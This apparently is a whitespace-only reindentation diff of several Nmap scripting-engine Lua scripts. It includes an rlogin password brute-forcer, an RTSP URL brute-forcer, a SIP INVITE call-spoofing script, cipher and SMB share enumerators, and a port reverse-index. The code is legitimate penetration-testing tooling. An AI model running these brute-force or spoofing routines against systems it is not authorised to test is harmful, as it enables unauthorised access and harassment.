||||
end
|
||||
return true, res_ciphers
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local result = {}
|
||||
local result = {}
|
||||
|
||||
local status, res_proto = enum_protocols(host, port)
|
||||
if ( not(status) ) then
|
||||
return res_proto
|
||||
end
|
||||
local status, res_proto = enum_protocols(host, port)
|
||||
if ( not(status) ) then
|
||||
return res_proto
|
||||
end
|
||||
|
||||
local status, res_ciphers = enum_ciphers(host, port)
|
||||
if ( not(status) ) then
|
||||
return res_ciphers
|
||||
end
|
||||
local status, res_ciphers = enum_ciphers(host, port)
|
||||
if ( not(status) ) then
|
||||
return res_ciphers
|
||||
end
|
||||
|
||||
table.insert(result, res_proto)
|
||||
table.insert(result, res_ciphers)
|
||||
return stdnse.format_output(true, result)
|
||||
table.insert(result, res_proto)
|
||||
table.insert(result, res_ciphers)
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
@@ -37,20 +37,20 @@ postrule = function() return true end
|
||||
hostrule = function() return true end
|
||||
|
||||
hostaction = function(host)
|
||||
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
|
||||
for _, s in ipairs({"open", "open|filtered"}) do
|
||||
for _, p in ipairs({"tcp","udp"}) do
|
||||
local host, port = host, nil
|
||||
local db = nmap.registry[SCRIPT_NAME]
|
||||
while( true ) do
|
||||
port = nmap.get_ports(host, port, p, s)
|
||||
if ( not(port) ) then break end
|
||||
db[p] = db[p] or {}
|
||||
db[p][port.number] = db[p][port.number] or {}
|
||||
table.insert(db[p][port.number], { ip = host.ip, port = port, proto = p, state = s } )
|
||||
end
|
||||
end
|
||||
end
|
||||
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
|
||||
for _, s in ipairs({"open", "open|filtered"}) do
|
||||
for _, p in ipairs({"tcp","udp"}) do
|
||||
local host, port = host, nil
|
||||
local db = nmap.registry[SCRIPT_NAME]
|
||||
while( true ) do
|
||||
port = nmap.get_ports(host, port, p, s)
|
||||
if ( not(port) ) then break end
|
||||
db[p] = db[p] or {}
|
||||
db[p][port.number] = db[p][port.number] or {}
|
||||
table.insert(db[p][port.number], { ip = host.ip, port = port, proto = p, state = s } )
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
--
|
||||
@@ -71,30 +71,30 @@ end
|
||||
-- | 192.168.0.60
|
||||
-- |_ 192.168.0.70
|
||||
local function createVerticalResults(db)
|
||||
local results = {}
|
||||
for proto, ports in pairs(db) do
|
||||
for port, entries in pairs(ports) do
|
||||
local result_entries = {}
|
||||
for _, entry in ipairs(entries) do
|
||||
table.insert(result_entries, entry.ip)
|
||||
end
|
||||
table.sort(result_entries)
|
||||
result_entries.name = ("%d/%s"):format(port, proto)
|
||||
table.insert(results, result_entries)
|
||||
table.sort(results,
|
||||
function(a,b)
|
||||
local a_port, a_proto = a.name:match("^(%d+)/(%w*)")
|
||||
local b_port, b_proto = b.name:match("^(%d+)/(%w*)")
|
||||
if ( a_proto == b_proto ) then
|
||||
return ( tonumber(a_port) ) < ( tonumber(b_port) )
|
||||
else
|
||||
return a_proto < b_proto
|
||||
end
|
||||
end
|
||||
)
|
||||
end
|
||||
end
|
||||
return results
|
||||
local results = {}
|
||||
for proto, ports in pairs(db) do
|
||||
for port, entries in pairs(ports) do
|
||||
local result_entries = {}
|
||||
for _, entry in ipairs(entries) do
|
||||
table.insert(result_entries, entry.ip)
|
||||
end
|
||||
table.sort(result_entries)
|
||||
result_entries.name = ("%d/%s"):format(port, proto)
|
||||
table.insert(results, result_entries)
|
||||
table.sort(results,
|
||||
function(a,b)
|
||||
local a_port, a_proto = a.name:match("^(%d+)/(%w*)")
|
||||
local b_port, b_proto = b.name:match("^(%d+)/(%w*)")
|
||||
if ( a_proto == b_proto ) then
|
||||
return ( tonumber(a_port) ) < ( tonumber(b_port) )
|
||||
else
|
||||
return a_proto < b_proto
|
||||
end
|
||||
end
|
||||
)
|
||||
end
|
||||
end
|
||||
return results
|
||||
end
|
||||
|
||||
--
|
||||
@@ -107,48 +107,48 @@ end
|
||||
-- | udp/53: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1
|
||||
-- |_ udp/5353: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1
|
||||
local function createHorizontalResults(db)
|
||||
local results = {}
|
||||
local results = {}
|
||||
|
||||
for proto, ports in pairs(db) do
|
||||
for port, entries in pairs(ports) do
|
||||
local result_entries = {}
|
||||
for _, entry in ipairs(entries) do
|
||||
table.insert(result_entries, entry.ip)
|
||||
end
|
||||
local ips = stdnse.strjoin(", ", result_entries)
|
||||
local str = ("%d/%s: %s"):format(port, proto, ips)
|
||||
table.insert(results, str)
|
||||
table.sort(results,
|
||||
function(a,b)
|
||||
local a_port, a_proto = a:match("^(%d+)/(%w*):")
|
||||
local b_port, b_proto = b:match("^(%d+)/(%w*):")
|
||||
if ( a_proto == b_proto ) then
|
||||
return ( tonumber(a_port) ) < ( tonumber(b_port) )
|
||||
else
|
||||
return a_proto < b_proto
|
||||
end
|
||||
end
|
||||
)
|
||||
end
|
||||
end
|
||||
return results
|
||||
for proto, ports in pairs(db) do
|
||||
for port, entries in pairs(ports) do
|
||||
local result_entries = {}
|
||||
for _, entry in ipairs(entries) do
|
||||
table.insert(result_entries, entry.ip)
|
||||
end
|
||||
local ips = stdnse.strjoin(", ", result_entries)
|
||||
local str = ("%d/%s: %s"):format(port, proto, ips)
|
||||
table.insert(results, str)
|
||||
table.sort(results,
|
||||
function(a,b)
|
||||
local a_port, a_proto = a:match("^(%d+)/(%w*):")
|
||||
local b_port, b_proto = b:match("^(%d+)/(%w*):")
|
||||
if ( a_proto == b_proto ) then
|
||||
return ( tonumber(a_port) ) < ( tonumber(b_port) )
|
||||
else
|
||||
return a_proto < b_proto
|
||||
end
|
||||
end
|
||||
)
|
||||
end
|
||||
end
|
||||
return results
|
||||
end
|
||||
|
||||
postaction = function()
|
||||
local db = nmap.registry[SCRIPT_NAME]
|
||||
if ( db == nil ) then
|
||||
return false
|
||||
end
|
||||
local db = nmap.registry[SCRIPT_NAME]
|
||||
if ( db == nil ) then
|
||||
return false
|
||||
end
|
||||
|
||||
local results
|
||||
local mode = stdnse.get_script_args("reverse-index.mode") or "horizontal"
|
||||
local results
|
||||
local mode = stdnse.get_script_args("reverse-index.mode") or "horizontal"
|
||||
|
||||
if ( mode == 'horizontal' ) then
|
||||
results = createHorizontalResults(db)
|
||||
else
|
||||
results = createVerticalResults(db)
|
||||
end
|
||||
return stdnse.format_output(true, results)
|
||||
if ( mode == 'horizontal' ) then
|
||||
results = createHorizontalResults(db)
|
||||
else
|
||||
results = createVerticalResults(db)
|
||||
end
|
||||
return stdnse.format_output(true, results)
|
||||
end
|
||||
|
||||
local Actions = {
|
||||
|
||||
@@ -37,105 +37,105 @@ portrule = shortport.port_or_service(513, "login", "tcp")
|
||||
-- The rlogin Driver, check the brute.lua documentation for more details
|
||||
Driver = {
|
||||
|
||||
-- creates a new Driver instance
|
||||
-- @param host table as received by the action function
|
||||
-- @param port table as received by the action function
|
||||
-- @return o instance of Driver
|
||||
new = function(self, host, port, options)
|
||||
local o = { host = host, port = port, timeout = options.timeout }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
-- creates a new Driver instance
|
||||
-- @param host table as received by the action function
|
||||
-- @param port table as received by the action function
|
||||
-- @return o instance of Driver
|
||||
new = function(self, host, port, options)
|
||||
local o = { host = host, port = port, timeout = options.timeout }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
-- connects to the rlogin service
|
||||
-- it sets the source port to a random value between 513 and 1024
|
||||
connect = function(self)
|
||||
-- connects to the rlogin service
|
||||
-- it sets the source port to a random value between 513 and 1024
|
||||
connect = function(self)
|
||||
|
||||
local status
|
||||
local status
|
||||
|
||||
self.socket = nmap.new_socket()
|
||||
-- apparently wee need a source port below 1024
|
||||
-- this approach is not very elegant as it causes address already in
|
||||
-- use errors when the same src port is hit in a short time frame.
|
||||
-- hopefully the retry count should take care of this as a retry
|
||||
-- should choose a new random port as source.
|
||||
local srcport = math.random(513, 1024)
|
||||
self.socket:bind(nil, srcport)
|
||||
self.socket:set_timeout(self.timeout)
|
||||
local err
|
||||
status, err = self.socket:connect(self.host, self.port)
|
||||
self.socket = nmap.new_socket()
|
||||
-- apparently wee need a source port below 1024
|
||||
-- this approach is not very elegant as it causes address already in
|
||||
-- use errors when the same src port is hit in a short time frame.
|
||||
-- hopefully the retry count should take care of this as a retry
|
||||
-- should choose a new random port as source.
|
||||
local srcport = math.random(513, 1024)
|
||||
self.socket:bind(nil, srcport)
|
||||
self.socket:set_timeout(self.timeout)
|
||||
local err
|
||||
status, err = self.socket:connect(self.host, self.port)
|
||||
|
||||
if ( status ) then
|
||||
local lport, _
|
||||
status, _, lport = self.socket:get_info()
|
||||
if (not(status) ) then
|
||||
return false, "failed to retrieve socket status"
|
||||
end
|
||||
else
|
||||
self.socket:close()
|
||||
end
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(3, "ERROR: failed to connect to server")
|
||||
end
|
||||
return status
|
||||
end,
|
||||
if ( status ) then
|
||||
local lport, _
|
||||
status, _, lport = self.socket:get_info()
|
||||
if (not(status) ) then
|
||||
return false, "failed to retrieve socket status"
|
||||
end
|
||||
else
|
||||
self.socket:close()
|
||||
end
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(3, "ERROR: failed to connect to server")
|
||||
end
|
||||
return status
|
||||
end,
|
||||
|
||||
login = function(self, username, password)
|
||||
local data = ("\0%s\0%s\0vt100/9600\0"):format(username, username)
|
||||
local status, err = self.socket:send(data)
|
||||
login = function(self, username, password)
|
||||
local data = ("\0%s\0%s\0vt100/9600\0"):format(username, username)
|
||||
local status, err = self.socket:send(data)
|
||||
|
||||
status, data = self.socket:receive()
|
||||
if (not(status)) then
|
||||
local err = brute.Error:new("Failed to read response from server")
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
if ( data ~= "\0" ) then
|
||||
stdnse.print_debug(2, "ERROR: Expected null byte")
|
||||
local err = brute.Error:new( "Expected null byte" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
status, data = self.socket:receive()
|
||||
if (not(status)) then
|
||||
local err = brute.Error:new("Failed to read response from server")
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
if ( data ~= "\0" ) then
|
||||
stdnse.print_debug(2, "ERROR: Expected null byte")
|
||||
local err = brute.Error:new( "Expected null byte" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
status, data = self.socket:receive()
|
||||
if (not(status)) then
|
||||
local err = brute.Error:new("Failed to read response from server")
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
if ( data ~= "Password: " ) then
|
||||
stdnse.print_debug(2, "ERROR: Expected password prompt")
|
||||
local err = brute.Error:new( "Expected password prompt" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
status, data = self.socket:receive()
|
||||
if (not(status)) then
|
||||
local err = brute.Error:new("Failed to read response from server")
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
if ( data ~= "Password: " ) then
|
||||
stdnse.print_debug(2, "ERROR: Expected password prompt")
|
||||
local err = brute.Error:new( "Expected password prompt" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
status, err = self.socket:send(password .. "\r")
|
||||
status, data = self.socket:receive()
|
||||
if (not(status)) then
|
||||
local err = brute.Error:new("Failed to read response from server")
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
status, err = self.socket:send(password .. "\r")
|
||||
status, data = self.socket:receive()
|
||||
if (not(status)) then
|
||||
local err = brute.Error:new("Failed to read response from server")
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
status, data = self.socket:receive()
|
||||
if (not(status)) then
|
||||
local err = brute.Error:new("Failed to read response from server")
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
status, data = self.socket:receive()
|
||||
if (not(status)) then
|
||||
local err = brute.Error:new("Failed to read response from server")
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
if ( data:match("[Pp]assword") or data:match("[Ii]ncorrect") ) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end
|
||||
if ( data:match("[Pp]assword") or data:match("[Ii]ncorrect") ) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end
|
||||
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end,
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end,
|
||||
|
||||
disconnect = function(self)
|
||||
return self.socket:close()
|
||||
end,
|
||||
disconnect = function(self)
|
||||
return self.socket:close()
|
||||
end,
|
||||
}
|
||||
|
||||
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||
@@ -143,16 +143,16 @@ arg_timeout = (arg_timeout or 10) * 1000
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
if ( not(nmap.is_privileged()) ) then
|
||||
return "\n ERROR: rlogin-brute needs Nmap to be run in privileged mode"
|
||||
end
|
||||
if ( not(nmap.is_privileged()) ) then
|
||||
return "\n ERROR: rlogin-brute needs Nmap to be run in privileged mode"
|
||||
end
|
||||
|
||||
local options = {
|
||||
timeout = arg_timeout
|
||||
}
|
||||
local options = {
|
||||
timeout = arg_timeout
|
||||
}
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port, options)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local status, result = engine:start()
|
||||
return result
|
||||
local engine = brute.Engine:new(Driver, host, port, options)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local status, result = engine:start()
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -44,17 +44,17 @@ portrule = shortport.port_or_service(554, "rtsp", "tcp", "open")
|
||||
-- @param filename string containing the name of the file to read from
|
||||
-- @return url string containing the relative RTSP url
|
||||
urlIterator = function(fd)
|
||||
local function getNextUrl ()
|
||||
repeat
|
||||
local line = fd:read()
|
||||
if ( line and not(line:match('^#!comment:')) ) then
|
||||
coroutine.yield(line)
|
||||
end
|
||||
until(not(line))
|
||||
fd:close()
|
||||
while(true) do coroutine.yield(nil) end
|
||||
end
|
||||
return coroutine.wrap( getNextUrl )
|
||||
local function getNextUrl ()
|
||||
repeat
|
||||
local line = fd:read()
|
||||
if ( line and not(line:match('^#!comment:')) ) then
|
||||
coroutine.yield(line)
|
||||
end
|
||||
until(not(line))
|
||||
fd:close()
|
||||
while(true) do coroutine.yield(nil) end
|
||||
end
|
||||
return coroutine.wrap( getNextUrl )
|
||||
end
|
||||
|
||||
-- Fetches the next url from the iterator, creates an absolute url and tries
|
||||
@@ -64,101 +64,101 @@ end
|
||||
-- @param url_iter function containing the url iterator
|
||||
-- @param result table containing the urls that were successfully retrieved
|
||||
local function processURL(host, port, url_iter, result)
|
||||
local condvar = nmap.condvar(result)
|
||||
for u in url_iter do
|
||||
local name = ( host.targetname and #host.targetname > 0 ) and host.targetname or
|
||||
( host.name and #host.name > 0 ) and host.name or
|
||||
host.ip
|
||||
local url = ("rtsp://%s%s"):format(name, u)
|
||||
local helper = rtsp.Helper:new(host, port)
|
||||
local status = helper:connect()
|
||||
local condvar = nmap.condvar(result)
|
||||
for u in url_iter do
|
||||
local name = ( host.targetname and #host.targetname > 0 ) and host.targetname or
|
||||
( host.name and #host.name > 0 ) and host.name or
|
||||
host.ip
|
||||
local url = ("rtsp://%s%s"):format(name, u)
|
||||
local helper = rtsp.Helper:new(host, port)
|
||||
local status = helper:connect()
|
||||
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "ERROR: Connecting to RTSP server url: %s", url)
|
||||
table.insert(result, { url = url, status = -1 } )
|
||||
break
|
||||
end
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "ERROR: Connecting to RTSP server url: %s", url)
|
||||
table.insert(result, { url = url, status = -1 } )
|
||||
break
|
||||
end
|
||||
|
||||
local response
|
||||
status, response = helper:describe(url)
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "ERROR: Sending DESCRIBE request to url: %s", url)
|
||||
table.insert(result, { url = url, status = -1 } )
|
||||
break
|
||||
end
|
||||
status, response = helper:describe(url)
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "ERROR: Sending DESCRIBE request to url: %s", url)
|
||||
table.insert(result, { url = url, status = -1 } )
|
||||
break
|
||||
end
|
||||
|
||||
table.insert(result, { url = url, status = response.status } )
|
||||
helper:close()
|
||||
end
|
||||
condvar "signal"
|
||||
table.insert(result, { url = url, status = response.status } )
|
||||
helper:close()
|
||||
end
|
||||
condvar "signal"
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local response
|
||||
local result = {}
|
||||
local condvar = nmap.condvar(result)
|
||||
local threadcount = stdnse.get_script_args('rtsp-url-brute.threads') or 10
|
||||
local filename = stdnse.get_script_args('rtsp-url-brute.urlfile') or
|
||||
nmap.fetchfile("nselib/data/rtsp-urls.txt")
|
||||
local response
|
||||
local result = {}
|
||||
local condvar = nmap.condvar(result)
|
||||
local threadcount = stdnse.get_script_args('rtsp-url-brute.threads') or 10
|
||||
local filename = stdnse.get_script_args('rtsp-url-brute.urlfile') or
|
||||
nmap.fetchfile("nselib/data/rtsp-urls.txt")
|
||||
|
||||
threadcount = tonumber(threadcount)
|
||||
threadcount = tonumber(threadcount)
|
||||
|
||||
if ( not(filename) ) then
|
||||
return stdnse.format_output(false, "No dictionary could be loaded")
|
||||
end
|
||||
if ( not(filename) ) then
|
||||
return stdnse.format_output(false, "No dictionary could be loaded")
|
||||
end
|
||||
|
||||
local f = io.open(filename)
|
||||
if ( not(f) ) then
|
||||
return stdnse.format_output(false, ("Failed to open dictionary file: %s"):format(filename))
|
||||
end
|
||||
local f = io.open(filename)
|
||||
if ( not(f) ) then
|
||||
return stdnse.format_output(false, ("Failed to open dictionary file: %s"):format(filename))
|
||||
end
|
||||
|
||||
local url_iter = urlIterator(f)
|
||||
if ( not(url_iter) ) then
|
||||
return stdnse.format_output(false, ("Could not open the URL dictionary: "):format(f))
|
||||
end
|
||||
local url_iter = urlIterator(f)
|
||||
if ( not(url_iter) ) then
|
||||
return stdnse.format_output(false, ("Could not open the URL dictionary: "):format(f))
|
||||
end
|
||||
|
||||
local threads = {}
|
||||
for t=1, threadcount do
|
||||
local co = stdnse.new_thread(processURL, host, port, url_iter, result)
|
||||
threads[co] = true
|
||||
end
|
||||
local threads = {}
|
||||
for t=1, threadcount do
|
||||
local co = stdnse.new_thread(processURL, host, port, url_iter, result)
|
||||
threads[co] = true
|
||||
end
|
||||
|
||||
repeat
|
||||
for t in pairs(threads) do
|
||||
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until( next(threads) == nil )
|
||||
repeat
|
||||
for t in pairs(threads) do
|
||||
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until( next(threads) == nil )
|
||||
|
||||
-- urls that could not be retrieved due to low level errors, such as
|
||||
-- failure in socket send or receive
|
||||
local failure_urls = { name='An error occured while testing the following URLs' }
|
||||
-- urls that could not be retrieved due to low level errors, such as
|
||||
-- failure in socket send or receive
|
||||
local failure_urls = { name='An error occured while testing the following URLs' }
|
||||
|
||||
-- urls that illicited a 200 OK response
|
||||
local success_urls = { name='Discovered URLs' }
|
||||
-- urls that illicited a 200 OK response
|
||||
local success_urls = { name='Discovered URLs' }
|
||||
|
||||
-- urls requiring authentication
|
||||
-- local auth_urls = { name='URL requiring authentication' }
|
||||
-- urls requiring authentication
|
||||
-- local auth_urls = { name='URL requiring authentication' }
|
||||
|
||||
for _, r in ipairs(result) do
|
||||
if ( r.status == -1 ) then
|
||||
table.insert(failure_urls, r.url)
|
||||
elseif ( r.status == 200 ) then
|
||||
table.insert(success_urls, r.url)
|
||||
-- elseif ( r.status == 401 ) then
|
||||
-- table.insert(auth_urls, r.url )
|
||||
end
|
||||
end
|
||||
for _, r in ipairs(result) do
|
||||
if ( r.status == -1 ) then
|
||||
table.insert(failure_urls, r.url)
|
||||
elseif ( r.status == 200 ) then
|
||||
table.insert(success_urls, r.url)
|
||||
-- elseif ( r.status == 401 ) then
|
||||
-- table.insert(auth_urls, r.url )
|
||||
end
|
||||
end
|
||||
|
||||
local result = { success_urls, failure_urls }
|
||||
local result = { success_urls, failure_urls }
|
||||
|
||||
-- -- insert our URLs requiring auth ONLY if not ALL urls returned auth
|
||||
-- if (#result > #auth_urls) then
|
||||
-- table.insert(result, 2, auth_urls)
|
||||
-- end
|
||||
-- -- insert our URLs requiring auth ONLY if not ALL urls returned auth
|
||||
-- if (#result > #auth_urls) then
|
||||
-- table.insert(result, 2, auth_urls)
|
||||
-- end
|
||||
|
||||
return stdnse.format_output(true, result )
|
||||
return stdnse.format_output(true, result )
|
||||
end
|
||||
|
||||
@@ -58,18 +58,18 @@ portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
|
||||
-- @return status True if we got a response, false else.
|
||||
-- @return resp Response table if status is true, error string else.
|
||||
local sendinvite = function(session, ua, from, src, extension)
|
||||
local request = sip.Request:new(sip.Method.INVITE)
|
||||
local request = sip.Request:new(sip.Method.INVITE)
|
||||
|
||||
request:setUri("sip:" .. session.sessdata:getServer())
|
||||
request:setUA(ua)
|
||||
if src then
|
||||
session.sessdata:setDomain(src)
|
||||
end
|
||||
session.sessdata:setUsername(extension)
|
||||
session.sessdata:setName(from)
|
||||
request:setSessionData(session.sessdata)
|
||||
request:setUri("sip:" .. session.sessdata:getServer())
|
||||
request:setUA(ua)
|
||||
if src then
|
||||
session.sessdata:setDomain(src)
|
||||
end
|
||||
session.sessdata:setUsername(extension)
|
||||
session.sessdata:setName(from)
|
||||
request:setSessionData(session.sessdata)
|
||||
|
||||
return session:exch(request)
|
||||
return session:exch(request)
|
||||
end
|
||||
|
||||
--- Function that waits for certain responses for an amount of time.
|
||||
@@ -79,31 +79,31 @@ end
|
||||
-- @return responsecode Code for the latest meaningful response.
|
||||
-- could be 180, 200, 486, 408 or 603
|
||||
local waitresponses = function(session,timeout)
|
||||
local response, status, data, responsecode, ringing, waittime
|
||||
local start = nmap.clock_ms()
|
||||
local response, status, data, responsecode, ringing, waittime
|
||||
local start = nmap.clock_ms()
|
||||
|
||||
while (nmap.clock_ms() - start) < timeout do
|
||||
status, data = session.conn:recv()
|
||||
if status then
|
||||
response = sip.Response:new(data)
|
||||
responsecode = response:getErrorCode()
|
||||
waittime = nmap.clock_ms() - start
|
||||
if responsecode == sip.Error.RING then
|
||||
ringing = true
|
||||
elseif responsecode == sip.Error.BUSY then
|
||||
return ringing, sip.Error.BUSY
|
||||
elseif responsecode == sip.Error.DECLINE then
|
||||
return ringing, sip.Error.DECLINE, waittime
|
||||
elseif responsecode == sip.Error.OK then
|
||||
return ringing, sip.Error.OK, waittime
|
||||
elseif responsecode == sip.Error.TIMEOUT then
|
||||
return ringing, sip.Error.OK
|
||||
end
|
||||
end
|
||||
end
|
||||
if ringing then
|
||||
return ringing, sip.Error.RING
|
||||
while (nmap.clock_ms() - start) < timeout do
|
||||
status, data = session.conn:recv()
|
||||
if status then
|
||||
response = sip.Response:new(data)
|
||||
responsecode = response:getErrorCode()
|
||||
waittime = nmap.clock_ms() - start
|
||||
if responsecode == sip.Error.RING then
|
||||
ringing = true
|
||||
elseif responsecode == sip.Error.BUSY then
|
||||
return ringing, sip.Error.BUSY
|
||||
elseif responsecode == sip.Error.DECLINE then
|
||||
return ringing, sip.Error.DECLINE, waittime
|
||||
elseif responsecode == sip.Error.OK then
|
||||
return ringing, sip.Error.OK, waittime
|
||||
elseif responsecode == sip.Error.TIMEOUT then
|
||||
return ringing, sip.Error.OK
|
||||
end
|
||||
end
|
||||
end
|
||||
if ringing then
|
||||
return ringing, sip.Error.RING
|
||||
end
|
||||
end
|
||||
|
||||
--- Function that spoofs an invite request and listens for responses.
|
||||
@@ -118,54 +118,54 @@ end
|
||||
-- could be 180, 200, 486, 408 or 603
|
||||
local invitespoof = function(session, ua, from, src, extension, timeout)
|
||||
|
||||
local status, response = sendinvite(session, ua, from, src, extension)
|
||||
-- check if we got a 100 Trying response.
|
||||
if status and response:getErrorCode() == 100 then
|
||||
-- wait for responses
|
||||
return waitresponses(session, timeout)
|
||||
end
|
||||
local status, response = sendinvite(session, ua, from, src, extension)
|
||||
-- check if we got a 100 Trying response.
|
||||
if status and response:getErrorCode() == 100 then
|
||||
-- wait for responses
|
||||
return waitresponses(session, timeout)
|
||||
end
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local status, session
|
||||
local status, session
|
||||
|
||||
local ua = stdnse.get_script_args(SCRIPT_NAME .. ".ua") or "Ekiga"
|
||||
local from = stdnse.get_script_args(SCRIPT_NAME .. ".from") or "Home"
|
||||
local src = stdnse.get_script_args(SCRIPT_NAME .. ".src")
|
||||
local extension = stdnse.get_script_args(SCRIPT_NAME .. ".extension") or 100
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||
local ua = stdnse.get_script_args(SCRIPT_NAME .. ".ua") or "Ekiga"
|
||||
local from = stdnse.get_script_args(SCRIPT_NAME .. ".from") or "Home"
|
||||
local src = stdnse.get_script_args(SCRIPT_NAME .. ".src")
|
||||
local extension = stdnse.get_script_args(SCRIPT_NAME .. ".extension") or 100
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||
|
||||
-- Default timeout value = 5 seconds.
|
||||
timeout = (timeout or 5) * 1000
|
||||
-- Default timeout value = 5 seconds.
|
||||
timeout = (timeout or 5) * 1000
|
||||
|
||||
session = sip.Session:new(host, port)
|
||||
status = session:connect()
|
||||
if not status then
|
||||
return "ERROR: Failed to connect to the SIP server."
|
||||
session = sip.Session:new(host, port)
|
||||
status = session:connect()
|
||||
if not status then
|
||||
return "ERROR: Failed to connect to the SIP server."
|
||||
end
|
||||
|
||||
local ringing, result, waittime = invitespoof(session, ua, from, src, extension, timeout)
|
||||
-- If we get a response, we set the port to open.
|
||||
if result then
|
||||
if nmap.get_port_state(host, port) ~= "open" then
|
||||
nmap.set_port_state(host, port, "open")
|
||||
end
|
||||
end
|
||||
|
||||
local ringing, result, waittime = invitespoof(session, ua, from, src, extension, timeout)
|
||||
-- If we get a response, we set the port to open.
|
||||
if result then
|
||||
if nmap.get_port_state(host, port) ~= "open" then
|
||||
nmap.set_port_state(host, port, "open")
|
||||
end
|
||||
end
|
||||
|
||||
-- We check for ringing to skip false positives.
|
||||
if ringing then
|
||||
if result == sip.Error.BUSY then
|
||||
return stdnse.format_output(true, "Target line is busy.")
|
||||
elseif result == sip.Error.DECLINE then
|
||||
return stdnse.format_output(true, ("Target declined the call. (After %.1f seconds)"):format(waittime / 1000))
|
||||
elseif result == sip.Error.OK then
|
||||
return stdnse.format_output(true, ("Target hung up. (After %.1f seconds)"):format(waittime / 1000))
|
||||
elseif result == sip.Error.TIMEOUT then
|
||||
return stdnse.format_output(true, "Ringing, no answer.")
|
||||
elseif result == sip.Error.RING then
|
||||
return stdnse.format_output(true, "Ringing, got no answer. (script timeout)")
|
||||
end
|
||||
else
|
||||
stdnse.print_debug(SCRIPT_NAME .. "Target phone didn't ring.")
|
||||
-- We check for ringing to skip false positives.
|
||||
if ringing then
|
||||
if result == sip.Error.BUSY then
|
||||
return stdnse.format_output(true, "Target line is busy.")
|
||||
elseif result == sip.Error.DECLINE then
|
||||
return stdnse.format_output(true, ("Target declined the call. (After %.1f seconds)"):format(waittime / 1000))
|
||||
elseif result == sip.Error.OK then
|
||||
return stdnse.format_output(true, ("Target hung up. (After %.1f seconds)"):format(waittime / 1000))
|
||||
elseif result == sip.Error.TIMEOUT then
|
||||
return stdnse.format_output(true, "Ringing, no answer.")
|
||||
elseif result == sip.Error.RING then
|
||||
return stdnse.format_output(true, "Ringing, got no answer. (script timeout)")
|
||||
end
|
||||
else
|
||||
stdnse.print_debug(SCRIPT_NAME .. "Target phone didn't ring.")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -66,92 +66,92 @@ dependencies = {"smb-brute"}
|
||||
|
||||
|
||||
hostrule = function(host)
|
||||
return smb.get_port(host) ~= nil
|
||||
return smb.get_port(host) ~= nil
|
||||
end
|
||||
|
||||
action = function(host)
|
||||
local status, shares, extra
|
||||
local response = {}
|
||||
local status, shares, extra
|
||||
local response = {}
|
||||
|
||||
-- Get the list of shares
|
||||
status, shares, extra = smb.share_get_list(host)
|
||||
if(status == false) then
|
||||
return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares))
|
||||
end
|
||||
-- Get the list of shares
|
||||
status, shares, extra = smb.share_get_list(host)
|
||||
if(status == false) then
|
||||
return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares))
|
||||
end
|
||||
|
||||
-- Find out who the current user is
|
||||
local result, username, domain = smb.get_account(host)
|
||||
if(result == false) then
|
||||
username = "<unknown>"
|
||||
domain = ""
|
||||
end
|
||||
-- Find out who the current user is
|
||||
local result, username, domain = smb.get_account(host)
|
||||
if(result == false) then
|
||||
username = "<unknown>"
|
||||
domain = ""
|
||||
end
|
||||
|
||||
if(extra ~= nil and extra ~= '') then
|
||||
table.insert(response, extra)
|
||||
end
|
||||
